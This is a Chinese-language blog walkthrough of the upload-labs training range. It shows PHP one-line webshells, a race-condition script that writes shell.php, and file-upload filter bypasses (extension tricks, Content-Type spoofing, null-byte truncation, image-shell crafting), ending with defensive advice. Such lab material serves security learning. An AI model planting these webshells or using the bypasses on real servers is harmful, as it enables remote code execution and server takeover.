upload-labs 1-21关靶场攻略

什么是一句话木马

  1. 定义

    它是一种短小精悍的代码片段,通常可以通过简单的HTTP请求等方式被恶意利用。

  2. 原理

    其原理是利用服务器端脚本语言(如PHP等)的特性,在目标服务器上执行恶意命令。例如在PHP中,通过在特定的可执行脚本区域内插入类似于“”这样的代码(这里的'pass'是一个自定义的参数名)。当外部攻击者通过POST方法发送包含恶意命令的数据到这个脚本时,由于eval函数会执行传入的字符串内容,就可以执行攻击者想要的命令,如查看服务器文件、修改文件内容甚至获取服务器权限等

最常见的一句话木马

<?php @eval($_POST['a']);?>

先新建一个文档my.txt,将上述代码输入,接着后缀改为php文件,再创建一个my.jpg文件

Pass-1 Javascript前端检查

上传一个php文件发现无法上传,而且无法抓到包,判断为前端检查。

这时右键打开检查,在设置中勾选”禁用javascript *“

此时再上传php文件就成功了。右键点击已上传的文件,复制图像链接,打开蚁剑添加数据,

将链接复制到URL地址,连接密码输入”a“,点击测试链接,连接成功后点击添加后木马植入成功

Pass-2 文件类型检查有缺陷

先上传jpg文件,使用抓包软件发现可以抓到包,表面为后端检查,发现数据包中的content-type为image/jpeg,复制该内容,然后上传php文件再次抓包,将php文件中的这一项改为image/jpeg之后放行,即可上传成功

,接用上述操作使用蚁剑连接成功即可完成

Pass-3黑名单限制不完全

打开查看源代码,发现限制.php的上传,

这时可以修改靶场环境,打开phpstudy,按图示步骤操作

完成后再修改phpstudy的版本,不要选择有ntr的版本

接着上传php文件抓包改成php3,上传成功后连接蚁剑

Pass-4 修改php文件后缀

先点击查看源码

可以上传php文件抓包后修改后缀为”.php. .“放行即可上传成功,最后连接蚁剑

Pass-7&Pass-6&Pass-5 同Pass-4方法

Pass-8 黑名单限制不完全 - 点

源码中没有过滤 .

上传时文件名为webshell.php.,绕过对后缀的检查

Pass-9 黑名单限制不完全 - ::$DATA

查看源码

在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名 例如:将文件后缀改为"my.php::$DATA",Windows会自动去掉末尾的::$DATA变成"my.php",最后连接蚁剑

Pass-10同Pass-4方法

Pass-11 黑名单限制不完全 - 双写绕过

$deny_ext = array("......");
•
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        

源码中 使用 str_ireplace 不区分大小写替换,只是替换了一次,我们可以利用双写绕过检查

上传文件名 :my.p.phphp

上传时会被删除 .php

最后的上传文件名: my.php

Pass-12 上传路径可控%00截断

先上传一个my.jpg文件,利用抓包工具控制上传路径,如图所示使用%00截断,将my.php上传成功

复制得到的链接把�/4020241023004818.jpg删除,即可连接到蚁剑


Pass-13 上传路径可控0x00截断

路径可控位置在POST 数据中,先抓包,

burphex 请求数据中,修改my.php后的字节为00,然后上传连接蚁剑

Pass-14 字节标识绕过

源码读取前2个字节判断上传文件的类型,判断通过后,便重新给文件赋予新的后缀名

拿上传一个.jpg为例,文件头两个字节十进制为255216,转化为十六进制是FFD8,所以利用vscode将my.php文件前两个字节修改,

然后上传已经修改了的my.php文件,显示上传的是.jpg文件,在这一关,除了上传,还存在一个 include.php文件,存在文件包含漏洞,可以利用文件包含漏洞请求上传的文件

构造:include.php?file=upload/my.jpg ,include 会以本文的形式读取my.jpg的内容,这样存在于my.jpg里的一句话木马就可以执行

Pass-15 getimagesize图片马绕过

通过使用getimagesize()检查是否为图片文件,所以我们只需要一张图片1.jpg和一句话木马写好的php文件 1.php之后我们进入到命令行。注意:将php文件和图片文件放到同一目录下,cmd也要跳转到放文件的目录下 之后执行命令

copy 1.jpg/b + 1.php/a 2.jpg  

然后图片马就制作完成了,利用文件上传漏洞上传后复制图片链接到蚁剑连接成功。14题也可用上述方法解出。

image-20210804190007284

pass-16 方法同上

Pass-17 二次渲染绕过

这一关对上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接

补充知识: 二次渲染:后端重写文件内容 basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名 strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。 imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像 imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像 imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像

这里有个小提示,对于做文件上传之二次渲染建议用GIF图片,相对于简单一点

上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,这里尽量往后面插,然后上传带有一句话木马的gif文件

Pass-18 条件竞争一

新建一个php文件,插入下面生成小马的一句话

​
<?php
    fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>');
?>
​

将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可通过条件竞争的方式在unlink之前,访问webshell。

使用burp拦截上传18.php的数据包并对数据包发送至intruder模块进行高速重发(上传包),同时使用burp截取访问http://192.168.2.14/upload-labs-master/upload/18.php的数据包也进行重发(访问包),

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

查看upload文件夹中是否出现一个shell.php的文件,如果有则说明成功上传

Pass-19 条件竞争二

这里有一个细节,由于可能是这个靶场的作者的某种原因可能有误,上传的图片路径不是放在upload文件夹下,所以我们要进去修改一下第19关的代码文件

在这里插入图片描述

首先利用15关的方法将生成小马的语句写进图片马,然后后面的步骤与上一关无异。

Pass-20 后缀绕过

使用制作好的图片马上传,然后利用labs自带的includ漏洞进行包含,但是关卡没有说使用文件包含。

在php中move_uploaded_file有一个特性 修改上传文件名称为upload-19.php/ .

img

Pass-21审计加数组后缀绕过

这一关是利用数组绕过验证

img

img

img

img

总结

文件上传漏洞成因: 具备上传文件功能的Web等应用,未对用户选择上传的文件进行校验,使得非法用户可通过上传可执行脚本而获取应用的控制权限。

  1. 不要暴露上传文件的位置

  2. 禁用上传文件的执行权限

  3. 黑白名单

  4. 对上传的文件重命名,不易被猜测

  5. 对文件内容进行二次渲染

  6. 对上传的内容进行读取检查

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值